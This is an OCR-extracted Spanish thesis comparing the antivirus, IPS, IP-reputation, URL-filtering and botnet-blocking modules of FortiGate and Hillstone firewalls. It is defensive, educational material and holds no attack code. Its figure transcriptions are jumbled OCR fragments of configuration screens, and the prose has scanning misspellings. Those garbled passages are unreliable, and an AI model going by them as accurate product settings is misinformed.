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Trabajo Final de Grado
Next Generation Firewalls

Resumen castellano

En este proyecto se detallan los servicios ofrecidos por dispositivos NGFW (Next
Generation Firewalls), un elemento de red capaz de monitorizar, analizar y mitigar
ciberataques. Comercialmente, estos dispositivos son conocidos como UTM (Unified
Threat Management) denotando que son sistemas de tratamiento de amenazas de forma
unificada. Se estudiaran los servicios proporcionados por estos dispositivos, realizando
especial hincapié en: AntiVirus, URL Filtering e IPS (Intrusion Protection System).

El TFG se basara en dos dispositivos NGFW de dos fabricantes diferentes: FortiGate y
Hillstone. Mediante una serie de programas, principalmente herramientas de ataques, se
disefiaran y ejecutaran una serie de pruebas sobre estos dispositivos, estudiando el
proceso de deteccidn por parte de los NGFW y la mitigacion de los ataques / problemas
planteados. Se analizaran los tiempos de respuesta y las acciones llevadas a cabo por
parte de cada uno de ambos NGFW.

Palabras claves: Firewall, FortiGate, Hillstone, ciber-ataques, NGFW

summary English

This project details the services offered by NGFW (Next Generation Firewalls) devices,
a network element capable of monitoring, analyzing and mitigating cyberattacks.
Commercially, these devices are known as UTM (Unified Threat Management)
denoting that they are unified threat treatment systems. The services provided by these
devices will be studied, placing special emphasis on: AntiVirus, URL Filtering and IPS
(Intrusion Protection System).

The TFG will be based on two NGFW devices from two different manufacturers:
FortiGate and Hillstone. Through a series of programs, mainly attack tools, a series of
tests will be designed and executed on these devices, studying the detection process by
the NGFW and the mitigation of the attacks / problems raised. The response times and
the actions carried out by each of the two NGFWs will be analyzed.

Key words: Firewall, FortiGate, Hillstone, cyber- attack, NGFW
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1.Infroduccion

1.1 Entorno del proyecto

El proyecto se desarrollard durante periodo de practicas en una empresa de
telecomunicaciones dedicada a disefio gestion de ISP. Esta empresa es distribuidora de
diferentes tipos de firewalls ademas de su posterior mantenimiento. Mediante hardware
real de la empresa se pretende poner a prueba las herramientas de defensa de dos
diferentes firewalls

1.2 Objetivo Principal

El principal objetivo de este proyecto es realizar una comparativa entre 2 firewalls
NGFW reales de diferentes fabricantes para comprobar las capacidades de estos y
adecuarlas a las necesidades de un cliente, para ello se necesita recopilar
informacidn acerca de la resolucion/mitigacion de estos ataques, mediante las
diferentes pruebas realizadas que caeran sobre cada modulo de defensa que disponen los
diferentes firewalls de sus respectivos fabricantes. Sobre estas herramientas se
pretenden explotar sus capacidades de configuracién y entender las opciones que
ofrecen, ademas de diferentes pruebas para ver sus respectivas acciones a tomar

1.3 Justificacion del proyecto

Este proyecto tiene la necesidad de llevar a cabo un proceso de analisis con el fin de
ampliar el conocimiento en ciberseguridad para una mejor adaptacion/satisfaccion del
dispositivo a elegir para determinado cliente ante la exposicién/demanda de lo que
necesita. Esto se logra llevando a cabo una variedad de ataques para la “puesta a
punto” de los modulos de seguridad de los firewalls, evaluando tanto lo que han sido
capaces de detectar y tomar accién y de lo que no han sido capaces.

Santi Ochoa Donate 8
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1.4 Estructura del proyecto

Este proyecto consta de 5 puntos;

El primer punto, la introduccion se tiene una breve explicacion de lo que
tratara el proyecto hablando sobre el objetivo de este y su puesta en escena
El segundo punto, los fundamentos tedricos, explicdandose en detalle los casos
de ataques a comprobar en la parte practica para el entendimiento sobre que
atacan y cual es la parte encargada de analizarlo

El tercer punto, la implementacion practica podra verse la puesta a punto de
los equipos con sus respectivas pruebas y resultados, teniendo una explicacion
de lo utilizado para cada punto

En el cuarto punto, la conclusién donde se tendra una opinidén respecto a lo
comprobado y visualizado. Futuras lineas de trabajo

En el punto cinco, la bibliografia de donde se ha sacado la informacion

Santi Ochoa Donate
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?2 Fundamentos tedricos

2.1 Firewall

El concepto béasico de firewall es el del equipo o uno de los equipos principalmente
encargados del control del trafico y de la seguridad de la red a través de politicas de
acceso y comprobaciones sobre esta [14,13]
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FIGURA 2. FIREWALL HILSLTONE

Los firewalls controlan el flujo de la red, es decir, se encargan de decidir que trafico se
admite y que trafico se considera peligroso y se procede a su toma de acciones, el
objetivo de estos firewalls no deja de ser otro que la de de proteger a los equipos de
red. Para ello, implementan un conjunto de reglas y politicas configurables, que
actian como filtros y mecanismos de inspeccion para determinar la legitimidad y la
seguridad del trafico y los mas “novedosos” o “especializados” son aquellos que no solo
tienen las herramientas mencionadas si no que son capaz de configurarlas a mayor
nivel de las necesidades requerida y realizan una inspeccién mas a fondo a traves
de técnicas mas avanzadas [14,13]

Una vez entendido el concepto general de firewall cabe distinguir en firewall UTM y
firewall Next Generations Firewall (NGFW)

Santi Ochoa Donate 10
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2.1.1 Firewalls UTM y NGFW
2.1.1.1 UTM

UTM significa gestion unificada de amenazas como su propio nombre parece indicar
habla de un sistema el cual de forma unificada se encarga de manejar la proteccion de la
red, la mitigacion de las amenazas y la administracion de estas mismas a traveés de
unas “herramientas” que se encargan de esas amenazas [18]

- Antivirus

- sistema de deteccion de intrusos

- Sistema de prevencidn de intrusiones
- Filtrados de URL

- VPN

2.1.1.2 NGFW

El entendimiento de los firewalls NGFW podria verse en su especificacién a la hora de
tratar amenazas mas concretas viéndose como un “UTM” pero con “herramientas”
mas personalizables y obtener una solucion que se adapte a las necesidades
requeridas, los firewalls NGFW basicamente tratan de ser mas precisos y abarcar mas
las amenazas a través de inspecciones profundas de paquetes como algoritmos de
aprendizaje automatico [18]

Santi Ochoa Donate 11
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2.2 Modulo Antivirus (AV)

Un antivirus se trata de un Software especializado en asegurar y prevenir los
dispositivos ante distintos tipos de amenazas a traves del analisis y el
blogueo/eliminacion de estas amenazas Ilamadas Malware tras ser catalogados como
potencialmente peligrosos

A traves de una variedad de formas de resolver esto como pueden ser: mediante
comprobacidn de firmas, anélisis de comportamiento o autoaprendizaje

Cabe destacar que existen muchos y diferentes tipos de malware con diferentes
propdsitos y métodos de accion. Ademas de malware mas especializado nombrado
como APT que son malware de amenaza persistentes, los cuales intentan evitar los
sistemas de seguridad, para ello se emplean mecanismos como EDR (EndPoint
Detection and Response)

2.2.1 Malware

Un malware es la palabra que hace referencia a software que en su ejecucion tiene
intenciones maliciosas [20]

El objetivo que estos suelen tener esta relacionado con el deterioro y manipulacion del
equipo ya sea para obtener datos u apropiarse del dispositivo, extorsion, dafar la
reputacion o interrupcion del equipo y espionaje, etc...

Este puede presentarse en diversas formas como:

- Virus

- Gusanos

- Troyanos

- Ransomware
- Spyware

- Adware

- Rootkits

El como estos malware se propagan puede variar desde distribucion a través de archivos
adjuntos hasta la explotacion de vulnerabilidades en software o el propio sistema
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2.2.2 FortiGate (AV)

FortiGate emplea un conjunto de tecnologias integradas con el proposito de ofrecer
proteccidn contra amenazas conocidas y desconocidas, incluyendo amenazas

persistentes como los APT (Advanced Persistent Threats). [5]

El sistema de Antivirus (AV) utiliza una base de datos de firmas para llevar a cabo la

deteccion de virus durante la inspeccion del trafico de red que esta sujeto al perfil de

seguridad correspondiente.

Se debe activar la caracteristica de Antivirus
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WiFi & Switch Controller [ © Web Filter o l l O Local In Policy 4]

140 Log & Report >

=

FIGURA 3. VENTANA ACTIVAR FUNCION AV

= = FortiGate 30 _ FortiGate-30F

Edit AntiVirus Profile
Name default
Comments Scan files and block viruses. 4 5

Detect Viruses Monitor

Inspected Protocols
HTTP ©
SMTP ©
POP3 ©
IMAP ©
MAPI O
FIP ©
CIFs

APT Protection Options

Content Disarm and Reconstruction »
Treat Windows Executables in Email Attachments as Viruses @

Include Mobile Malware Protection ©

Virus Qutbreak Prevention @

Use FortiGuard Qutbreak Prevention Database (B
Use External Malware Block List @ e ]

FIGURA 4. VENTANA CONFIGURACION AV FORTIGATE
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2.2.3 Hillstone (AV)

Hillstone proporciona una Proteccion y deteccion avanzada donde dispone de
mecanismos para proporcionar deteccidn y proteccion en tiempo real durante todo el
espectro de ataques de red y malware

Las funcionalidades de las que se dispone en el médulo de antivirus son: [15]

- Actualizaciones manuales, automaticas, mediante empuje o extraccion.

- Agregar o eliminar manualmente firmas MD5 de la base de datos del antivirus.

- Soporte de firma MD5 para cargar en el sandbox en la nube y agregar o eliminar
manualmente en la base de datos local.

- Antivirus basado en flujo: los protocolos incluyen HTTP, SMTP, POP3, IMAP,
FTP/SFTP, SMB.

- Escaneo de virus en archivos comprimidos

Dashboard iCenter Monitor Policy Object Network System

3 Service Book > Profile
s APP Book >

Anti-Virus Rule Configuration
[ SSL Proxy
&  SLB Server Pool Name * Antivirus
Schedule File Types
2 Anasener ferdl MAIL zIP MS OFFICE
@  Radius Dynamic Authorization HTML 872 TAR Raw data
B ssOserver > JPEG RAR ELF Others
E=l  SSO Client > PE RIFF PDF
0O, user > Protocol Types
A Role > HTTP @ FilMagic  Logony Wwaming [EECEEResEE]
@ Track Object SMTP @ Filmagic LKL Reset Connection
©  Anti-Virus v

POP3 @  Fill Magic [IESESB Reset Connection

Profile
IMAP4 @  Fil Magic [EEESICB Reset Connection
Configuration

FTP @  Fill Magic [EEESICB Reset Connection
@ ninusion Prevention N
@  Boinet Prevention ’ Malicious Website © Warning ~ Reset Connection
< URL Filtering N Access Control
Sandbox > Enable Label E-mail
[ NetFlow >
()  Data Securit > Cancel

FIGURA 5. VENTANA CONFIGURACION AV HILLSTONE

Santi Ochoa Donate 14



Trabajo Final de Grado
Next Generation Firewalls

@ 0

e Jo

€ @

Dashboard iCenter Monitor Policy Object

Service Book > Ot us | Configuration

APP Book H Decompression Configuration
Anti-Virus Global Configuration

SSL Proxy
SLB Server Pool o « Decompression o©
Schedule pr— Max Decompression 1
R Layer

AAA Server

bcosircien IR e comecion
Radius Dynamic Autharization

Encrypted Compressed NoAction [EEGHVESLIYE Reset Connection
SSO Server > n Cancel e
§S0 Client >
Role >
Track Object
Anti-Virus ~
Profile

Configuration ‘

FIGURA 6. CONFIGURACION ANALISIS COMPRIMIDOS HILLSTONE
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2.3 Modulo IDS/IPS

2.3.11DS

Un Sistema de deteccion de Intrusos (IDS) es una aplicacion disefiada para detectar y
alertar sobre accesos no autorizados a dispositivos o redes. Su funcion principal es
monitorear el tréfico entrante y compararlo con una base de datos de firmas,
notificando al administrador en caso de encontrar discrepancias. [1]

Es importante destacar que los sistemas de deteccion de intrusos no llevan a cabo
ninguna accién o mitigacion directa sobre el trafico identificado como ""dudoso™.
Su proposito se limita a la notificacion de posibles intrusiones. En caso de requerir una
accion o mitigacion efectiva, sera necesario considerar la complementacion de otro
sistema o enfoque apropiado.

2.3.21PS

Un Sistema de Prevencion de Intrusiones (IPS) se utiliza con el proposito de
salvaguardar los sistemas contra ataques e intrusiones. Su enfoque principal es
Ilevar a cabo un control en tiempo real para analizar las conexiones y los protocolos
utilizados. Ademas, el IPS identifica ataques mediante la deteccidn de patrones
especificos o anomalias en el trafico. [1]

2.3.3 IPS/IDS

Estos sistemas, debido a su complementariedad y capacidad de sinergia, suelen ser
implementados y utilizados de manera conjunta para realizar un analisis exhaustivo y
una actuacion eficaz sobre la red. Al trabajar en conjunto, se potencian mutuamente y
permiten una mayor proteccion y respuesta frente a amenazas y ataques

Intrusion Detection System Intrusion Prevention System
Attacker E‘ Attacker E
\nternet \lnternet
\ \

1 |

F Firewall

Firewall

IPS
IDS

Alert/ I Switch Switch

7= =\ /./"V

- t Co'rp LAN —f C!)rp LAN
il 1

Management System i\ 4 Management System

E g A

FIGURA 7. DIFERENCIAS ACTUACION IDS/IPS
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2.3.4 FortiGate (IDS/IPS)

El uso de un Sistema de Prevencion de Intrusiones (IPS) impulsado por Inteligencia

Avrtificial/Aprendizaje Automatico (IA/ML) brinda una proteccion en tiempo real al
proporcionar miles de reglas para prevenir intrusiones y llevar a cabo bloqueos tanto

de amenazas conocidas como de dia cero. [11]

FortiGate, a través de perfiles de seguridad de IPS, garantiza la seguridad mediante la
deteccion y prevencion de intrusiones, utilizando dos técnicas principales:

1. Deteccidn basada en firmas: Esta técnica implica buscar firmas especificas en
el trafico utilizando decodificadores de protocolo. De esta manera, los ataques
dirigidos a un protocolo en particular se pueden identificar buscando la firma
del ataque en el trafico correspondiente. Las firmas de deteccion se pueden
clasificar en tres formas:

a. Basada en patrones: Se seleccionan atributos relacionados con el ataque
para identificarlo.

b. Basada en puntuacién: En la base de datos de firmas, algunas tienen
una opcion asociada de "Monitor". Solo se consideran una amenaza si se
detectan en grupo.

c. Personalizadas: Estas firmas se escriben manualmente para adaptarse a
amenazas especificas.

Agregar firmas Seleccionar entradas

Tipo [HLY Signature ‘QBLSCSV'
Accion £ Por defecto~ DESTINO(2)
Logde Paguetes = @ Habilitar [J{xJBSETITES SEVERIDAD (5

PROTOCOLO (45
SO

APLICACION (36

Ea
m [T ITL] x

Estado @ Habilitar | @ Deshabilitar [ JE g
Filtro @ E2 x

| | search Q

Nombre Severidad Objetivo 50
& FirmaIPS
3Com.3CDaemon.FTRServer.Buffer.Overflow Servidor Windows
3Com.Intelligent.Management.Center.Infor... Servidor Windows
3Com.OfficeConnect. ADSL Wireless.Firewa... Servidor Linux
35.PocknetVMS.ActiveX.Control.BufferOve... Cliente Windows
3iv.MPEGA4.File.Processing.Buffer.Overflow Cliente Windows
427BB.Cookie.Based.Authentication.Bypass Servidor Other
427BB.Showthread.PHP.Forum|D.Paramete... Servidor Other
A325Botnet Servidor Al

Cliente
AAEH.Botnet Servidor All
Cancelar Cerrar

FIGURA 8. VENTANA FIRMAS DE TIPOS DE ATAQUES CONOCIDOS

2. Deteccidn basada en anomalias: Esta técnica implica monitorear y analizar el
trafico en busca de comportamientos inusuales o anémalos que podrian
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indicar una intrusion. Mediante el aprendizaje automatico, el sistema puede
identificar patrones de trafico anémalos y generar alertas en tiempo real.

Las opciones que te brinda la posibilidad de ejercer sobre el trafico analizado son las

siguientes:

- Pass: Al seleccionar esta opcion, el trafico serd permitido sin ningdn tipo de

intervencioén o limitacion.

- Monitor: permitir el trafico, se registra detalladamente todo lo que ocurre en

relacion con el mismo. Esto implica que se realiza un seguimiento exhaustivo de
todas las actividades y eventos asociados con el trafico analizado.

- Block: Impide que cualquier comunicacion proveniente de la fuente del tréfico
seleccionado pueda acceder a los recursos o sistemas destino.

- Reset: cerrar la sesion activa y se restauran los valores y configuraciones

predeterminados. Esta opcion resulta Util cuando se requiere finalizar y reiniciar
todo el proceso de analisis y gestion del trafico.

- Quarantine: rechazar y bloquear el trafico proveniente de una determinada

direccién IP de origen durante un periodo de tiempo especifico. La duracion de

este tiempo puede ser configurada de acuerdo a las necesidades vy politicas

establecidas. Al aplicar la opcion "Quarantine”, se restringe el acceso del trafico
de esa IP en particular, evitando asi posibles amenazas o actividades no deseadas

durante el periodo establecido.

Agregar firmas

Tipo Signature
Accion £+ Por defecto -

@ Permitir
@ Monitor
@ Bloquear
D Restaurar

& Por defecto

Deshabilitar

BESEEINETE £ Por defecto

*

Log de Paquetes
Estado
Filtro €@

Q

Searct

Nor| &® Cuarentena Severidad Objetivo

B

3Com.3CDaemon.FTRServer.Buffer.Overflow Servidor
3Com.3CDaemon.FTP.Server.Information.Di... s Cliente
3Com.Intelligent.Management.Center.Infor... Servidor
3Com.OfficeConnect. ADSL Wireless.Firewa. Servidor
1 35.Pocknet VMS ActiveX Control Buffer.Ove... Cliente
3ivx.MPEG4.File.Processing.Buffer.Overflow Cliente
427BB.Cookie.Based. Authentication.Bypass Servidor
427BB.Showthread. PHP.ForumID.Paramete... Servidor
A32S.Botnet Servidor
Cliente
AAEH.Botnet Servidor
AARC Rntnet Servidar

:le]

Windows
Windows
Windows
Linux
Windows
Windows
Other
Other
Al

Al
Al

Accion

@ Bloquear
© Permitir
@ Bloguear
@ Bloquear
@ Bloquear
@ Bloquear
@ Bloquear
@ Bloquear
@ Bloquear

@ Bloquear

FIGURA 9. OPCIONES DE FILTRADO
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2.3.5 Hillstone (IDS/IPS)

Incluye una tecnologia para la deteccion y prevencion de intrusiones basada en
comportamiento (BIPS), que utiliza algoritmos de aprendizaje automatico para detectar
patrones de comportamiento malicioso.

Puede configurarse la politica de seguridad, esta politica de seguridad es esencial para la
deteccion y bloqueo de los ataques, esta politica de seguridad puede incluir la
configuracion del “comportamiento” a nivel de reglas de deteccion, las acciones de
respuesta y excepciones

Estas son caracteristicas de Hillstone para la Prevencion de intrusiones: [15]

- Mas de 8.000 firmas

- Acciones IPS: Monitoreo, bloqueo, reinicio con tiempo de caducidad

- Seleccion de filtros: gravedad, destino, SO, aplicacion o protocolo

- Excepciones de IP de formas de IPS

- Proteccion DoS ante inundaciones TCP Syn, escaneo puertos, paquetes
fragmentados, barrido ICMP

- Modo husmeo IDS

- Bypass activo con interfaces

EUYUETSSURS <0 Enavies Signatures Onh

AAAAAAAE

FIGURA 10. VENTANA CONFIGURACION IPS Y FIRMAS HILLSTONE
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2.4 Modulo IPR

IPR sin las siglas de IP Reputation

evaluacion y clasificacion de la confiabilidad y la calidad de una direccion IP
especifica en relacion con su historial de comportamiento en linea. Se utiliza para
determinar la probabilidad de que una direccion IP esté involucrada en actividades
maliciosas, como el envio de spam, ataques cibernéticos o distribucion de malware [4]

La reputacion IP tiene importancias significativas en la gestion del correo electronico,
el filtrado de spam y la sequridad en linea. Una reputacion IP de calidad es fundamental
para garantizar la entrega confiable de mensajes legitimos y prevenir la
participacion involuntaria en actividades maliciosas

FIGURA 11. CONCEPTO REPUTACION DE IP
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2.4.1 Fortigate (IPR)

FortiGate usa 5 niveles de reputacion, aparte de poder definir niveles de reputacion
personalizados, puede configurarse politicas de firewalls para filtrar el trafico segun el
nivel de reputacion que se desea [7]

Los cinco niveles por defecto son:

1. Sitios maliciosos conocidos como sitios de phishing o sitios
relacionados con servidores botnet

Sitios de servicios de alto riesgo, como TOR, proxy y P2P
Sitios no verificados

Sitios de redes sociales de buena reputacion

5. Sitios seguros conocidos y verificados

oD

Por defecto el nivel de reputacion configurado en una politica es cero, lo que dice que
no esta habilitada

Para una IP que no esta en la base de datos de servicios de Internet el servicio por
defecto es 3

E:E FortiGate 30E FortiGate- 30E

& Dashboard Searct Q

3 Security Fabric

Name * Direction Number of Entries Ref.
& FortiView
+§ Network

[ Internet Service Database D
& System [E] 1P Reputation Database @

I B Policy & Objects - Blockchain-Crypto.Mining. Pool Destination 266

1Pva Policy Botnet-C&C Server Both 3068

Authentication Rules Both 274275

Both 22313
Both 29.685

Sparm-Spamming Server Both 49.777

Services

Tor-ExitNode Source 1317
Schedules
Tor-RelayNode Both 5458
Virtual IPs

IP Pools

o o o o & © o o ©

VPN-Anonymous VPN Both 17.258

Protacol Optians
Protacol Optians
Traffic Shapers

Traffic Shaping Policy
Traffic Shaping Profile

& Security Profiles b

FIGURA 12. SUMMARY DE ENTRADAS DE IP MALICIOSAS POR CATEGORIA
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Para visualizar las direcciones IP que se han descargado de la base de datos de
FortiGuard se debe abrir una de las 9 categorias y saldran las IP asociadas a ella

275 FortiGate 30E FortiGate 30E

@ Dashboard > ~ NE Searct Title x
Sk Security Fabric > - O Disable
Name
18 FortiView > » . . | .
e " N [ internet Service Database GEEE) o rotocol tatus
etworl
[ IP Reputation Database @ 1.0.144.104 25 TCP © Enabled
& System > - 20
I! Policy & Objects . Blockehain-Crypto.Mining. Pool 110
143
1Pv4 Policy Botnet-C&C.Server
Authentication Rules Malicious-Malicious Server
- 10.146.146 25 cP © Enabled
Addresses Phishing-Phishing Server o
Internet Service Proxy-Proxy Server 110
Database - 143
=
Services —
it Node
Schedules B 10.147.249 25 Tcp @ Enabled
Tor-Relay.Node 80
Virtual IPs 10
VPN-Anonymous VPN
IP Pools 143
5
Protocol Options. bt
Protocol Options. 10152201 25 TCp © Enabled
80
Traffic Shapers 110
Traffic Shaping Policy 143
Traffic Shaping Profile w«
& Security Profiles > 1015393 25 TCP © Enabled
80 0% 49.777) -
L VPN >
Ret:
& User & Device > - ctum

FIGURA 13. MUESTRA IP REGISTRADAS DE SPAM
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2.4.2 Hillstone (IPR)

Hillstone utiliza un conjunto de técnicas para determinar la reputacion de direcciones

IP, incluyendo

- [8]

Listas negras: Base de datos actualizada con las IP que se identifican
como sospechosas o maliciosas

Anélisis de trafico: Monitorizacion del trafico buscando “patron”, es un
analisis basado en el comportamiento que hace una ip

Analisis de reputacion de dominios: Analisis de los dominios que
tienen una direccion IP, si se conoce que ha alojado malware o que es
potencialmente sospechoso en algln aspecto se marcara como amenaza
Anélisis de geolocalizacion: puede filtrar por “lugares” 10 que hace que
si una direccion IP se encuentre en esa zona/region puede marcarse como
amenaza

Las reglas para el filtrado de las Ip que pueden sacar de la base de datos que viene

(puede ir actua
router”

lizdndose) se pueden aplicar en global, en una zona o en un “virtual

Dashboard iCenter Monitor Policy Object Network System

[ Security Policy

T NAT

all QoS

(® Session Limit

G  Share Access

& Traffic Quota

EJ  ARP Defense

45 Perimeter Traffic Filtering
IP Blacklist
Service Blacklist
MAC Blacklist
|IP Reputation Filter
White List
Global Search

Configuration

> IP Reputation Filter

IP Reputation Filter

Scope (=1l Zone  Virtual Router

Category
Bot

Spam

<

TorNode
Compromised
Proxy
Scanner
Brute-forcer

DDos Attacker

FIGURA 14. VENTANA CONFIGURACION IPR HILLSTONE
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2.5 Modulo URL filtering

El filtrado web, también conocido como filtrado de contenido web o filtrado de URL, es
un proceso mediante el cual se controla y gestiona el acceso a sitios web y contenido en
Internet con el objetivo de garantizar la seguridad, la productividad y el
cumplimiento de politicas en entornos informaticos. [2,9]

El filtrado web se basa en una serie de reglas y politicas establecidas por una
organizacion o entidad para determinar qué sitios web o categorias de contenido estan
permitidos, bloqueados o sujetos a un monitoreo especial.

URL Filtering

Accesses
Malicious URLs or inappopriate content

*

{ Ny
URL filtering cross-verifies @

web addresses with the

threat sense database.
( Access Blocked ]

\ J

FIGURA 15. CoONCEPTO BLOQUEO URL
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2.5.1 Fortigate (URL Filtering)

URL Filtering filtra peticiones HT TP, existe un orden en el que la unidad NGFW
FortiGate aplica los siguientes filtros y es: [5]

- Filtrado de UR
- Filtrado de contenido web
- Filtrado por categorias (si se dispone del servicio)

2.5.1.1 Filtrado de URL

Proceso mediante el direccionamiento de una URL se permitira o bloqueara el acceso

a determinadas paginas web o recursos

2.5 FortiGate 30E FortiGate-30F

& Dashboard >  Edit Web Filter Profile
NX Security Fabric > Enforce "Safe Search’ on Google, Yahoo!, Bing, Yandex (B
|8 FortiView > Restrict YouTube Access >
4 Network N Log all search keywords (e )
% System >
@ Static URL Filter
B Policy & Objects >
Blockinvalid URLs Oy
I & Security Profiles v
URL Filter [©]
AntiVirus
Web Filter 1 # Edit || @ Delete | | | Search Q
DNS Filter URL Type Action Status

Application Control
Intrusion Prevention

SSL/SSH Inspection

No results

Application Signatures

. Block malicious URLs discovered by FortiSandbox (B
IPS Signatures

Web Rating Overrides
Web Profile Overrides

Content Filter o ]

@ Rating Options
0 VPN

& User &Device

Allow websites when a rating error occurs (B

Rate URLs by domain and IP Address (e )

= WiFi & Switch Controller Rate images by URL @O

vovoovov

Ll Log & Report

FIGURA 16. VENTANA CONFIGURACION FILTRADO URL
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Meétodo que clasifica y organiza las direcciones URL de sitios web en diferentes
categorias, como redes sociales, entretenimiento, noticias, deportes, etc. Estas

2.5.1.2 Filtrado en funcion de la/as categoria/as

categorias se utilizan para aplicar politicas de acceso y restricciones en funcion de las
preferencias y necesidades de los usuarios

&7 FortiGate 30E FortiGate-30E

@ Dashboard

K Security Fabric

4 FortiView

'I" Network

£ System

B Policy & Objects
I @ Security Profiles

AntiVirus

Web Filter w

DNSFilter
Application Control
Intrusion Prevention
SSL/SSH Inspection
Application Signatures
IPS Signatures
Web Rating Overrides
Web Profile Overrides
L VPN
& User &Device
= WiFi & Switch Controller
Ll Log & Report

FIGURA 17. VENTANA CONFIGURACION DE FILTRO POR CATEGORIAS

>
>
>
>
>
>
v

>
>
>
>

Edit Web Filter Profile
Name default
Comments | Default web filtering. 2| 22058
@ FortiGuard category based filter
Pre-configured filters G PG-13 R
@ Allow @ Monitor Block Warning Authenticate
Name Action

Local Categories @
Potentially Liable €@
Adult/Mature Content
Bandwidth Consuming @
Security Risk @

General Interest - Personal
General Interest - Business

Unrated @

Category Usage Quota @

& Edit [ Delete

Catezary Totalauota

2.5.1.3 Filtrado de Contenidos y Scripts web

7= FortiGate 30E FortiGate 30

Dashboard

NK Security Fabric

8 FortiView

“ Network

£¥ System

& Policy & Objects
I @ Security Profiles

AntiVirus

Web Filter h x4

DNS Filter
Application Control
Intrusion Prevention
SSL/SSH Inspection
Application Signatures
IPS Signatures
Web Rating Overrides
Web Profile Overrides
0 VPN
& User &Device
= WiFi & Switch Controller
Ll Log & Report

FIGURA 18. VENTANA CONFIGURACION DE FILTRO POR CONTENIDO
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>
>
>
>
>
>

v v v v

Edit Web Filter Profile
Enforce 'Safe Search’ on Google, Yahoo!, Bing, Yandex (B
Restrict YouTube Access (@ )

Log all search keywords [e ]

B Static URL Filter

Block invalid URLs (B
URL Filter (e ]

Block malicious URLs discovered by FortiSandbox (B
Content Filter [©]
+ CreateNew | ¢ Edit [ Delete
Pattern Type Pattern Language Action Status
Noresults

B Rating Options

Allow websites when a rating error occurs (B
Rate URLs by domain and IP Address >
Rate images by URL @O
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Ademaés de introducir direcciones URL, también es posible utilizar patrones que
contengan texto, comodines o expresiones regulares.

Las acciones que se pueden llevar a cabo son las siguientes:

- Permitir (Allow): Al seleccionar esta opcidn, se permite el trafico
dirigido a la URL especificada y se continta aplicando los demaés perfiles
de seguridad configurados.

- Bloquear (Block): Si se elige esta opcion, se bloquea el tréfico dirigido a
la URL indicada y se muestra un mensaje al usuario informando del
bloqueo.

- Monitorizar (Monitor): Al seleccionar esta opcidn, se permite el trafico
dirigido a la URL especificada y se continta aplicando los demaés perfiles
de seguridad. Adema4s, se genera un mensaje en el registro de eventos
para su seqguimiento y registro.

- Eximir (Exempt): Al marcar esta opcion, se exime la URL de todas las
restricciones de seguridad. Esto implica que no se aplicaran perfiles de
seguridad adicionales y se permitira el trafico en esa direccion.

En caso de bloguear y redirigir al usuario a una pagina la cual le muestre un mensaje
de porque ha sido bloqueado

=73 FortiGate 30E FortiGate-30E Q- > I @ Le l admin -
&® d > | Manase Imaged URL Block Page x

Message Format: text/html  Message Size: 2.9 kB/32.8 kB

| ©)) FortiGuard /2 7120 Fi:ATINET

...................

+f Network
|9 System
Administrators
Admin Profiles - Web Page Blocked!
Firmware il
Settings in F @ The page you have requested has been blacked, because the URL is banned
SNMP :

FortiGuard

Reputation

Feature Visibility URL Block Page

B Policy & Objects >
& Security Profiles
D VPN

& User &Device

14 Log & Report

>
>

F WiFi & Switch Controller > -
>

€& Monitor >

| Cancel

FIGURA 19. MUESTRA VENTANA DE MENSAJE DE BLOQUEO DE URL
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2.5.2 Hillstone (URL Filtering)

Hillstone ofrece una base de datos categorizacion de URL, en tiempo real basado en la
nube con mas de 140 millones de URL y 64 categorias de las cuales 8 son de
seguridad. [15]

Hillstone incluye una inspeccion profunda de paquetes, analisis de anomalias de
protocolo y analisis de firmas para bloquear amenazas

Por resumir en el conjunto de técnicas pueden verse las siguientes: [15]

- Listas negras de URL: mediante esa base de datos o el administrador
afiadiendo las URL de sitios maliciosos o inapropiados se hara que
cuando una URL coincida con la entrada de esta lista de bloque
automaticamente, es decir, filtrara basdndose en el flujo hacia el destino

- Analisis de categorias de URL.: Hillstone como menciono permite
filtrar por categorias

- Anadlisis de contenido de la web: Hillstone dispone de un mecanismo de
identificacion de coincidencias de “words” establecidas con contenido de
la propia web para su posterior accion a tomar

5 Address Book Dbject / URL Filtering / Profile
& HostBook
_ URL Filtering Configuration
& Service Book >
f® APP Book > Name *
1 SSLProy Safe Search
28 SLB Server Pool p— o
g4 Schedule Configuration
Single URL Configurafion Block Log

8 AAA Server
15 Radius Dynamic Authorizafion |
B S50 Server 5 | UR-Coteme New
B 550 Client 5 URL Category Block Log
2, User 3 Adverfisements & Pop-Ups
S Role > Alcohol & Tobacco
B9 Track Cbject Anonymizers
& Anti-Vius > Aris
@ Intrusion Prevention Business

System

Other URLs Block Record Log
i Botnet Prevention >
SSL Inspection

& URL Filtering v

Profile URL Keyword Category Mew

URL Blackiist/VWhitelist Keyword Category Block Log
Sandbox > pruebal
®  NetFlow 3 Other keywords EBlock Record Log
@ Data Security >
[ ACGL > “ Cancel

FIGURA 20. VENTANA CONFIGURACION URL ESTATICA, CATEGORIAS Y CONTENIDO
HILLSTONE
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26 C2

C2 software conocido como comando y control (C&C) esta disefiado con el propdsito
de establecer una conexion oculta entre un dispositivo comprometido y un servidor
remoto controlado por los atacantes. Este mecanismo de comunicacion permite que el
dispositivo infectado, a menudo parte de una botnet, se convierta en un ""bot™ o
nodo dentro de una red maliciosa. [3]

Una botnet es una red de bots, donde cada bot representa un dispositivo infectado que
ha sido comprometido por el malware. Estos dispositivos pueden incluir
computadoras, servidores, dispositivos 10T (Internet de las cosas) u otros dispositivos
conectados a la red. Una vez que un dispositivo se ha unido a la botnet, se convierte en
un recurso controlado por los atacantes para llevar a cabo diversas actividades
maliciosas.

El C&C malware se utiliza generalmente en ataques cibernéticos avanzados y
sofisticados, como el espionaje, el robo de datos, la distribucién de malware adicional,
el lanzamiento de ataques distribuidos de denegacion de servicio (DDoS) y otras
actividades delictivas en linea

En un analisis mas funcional este tipo de malware se basa en los siguientes elementos:
- Infeccion inicial
- Establecimiento de la comunicacion
- Comunicacién bidireccional

- Control remoto y actualizaciones

Firewall

Infected host C2 Server

FIGURA 21. CONCEPTO COMMAND AND CONTROL
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2.6.1 Fortigate (C2)

Fortigate consolida varias opciones de botnet en una sola opcion del perfil IPS, asi
desde un solo lugar se puede habilitar el bloqueo de botnet a través de las politicas de

trafico [12]

En FortiGate puede verse que se dispone de seguridad ante Botnet Ips y botnet
Domains

- s FortiGate 301E FGT301¢
@ Global v | FortiGuard Distribution Network
Favorites >
@& Dashboard >  License Information
& Security Fabric ’ Entitlement Status
o Network
FortiCare Support © Not Registered %) Register (4 Launch Portal
& System [2 8
VDOM Firmware & General Updates @ Licensed - expires on 2031/01/02
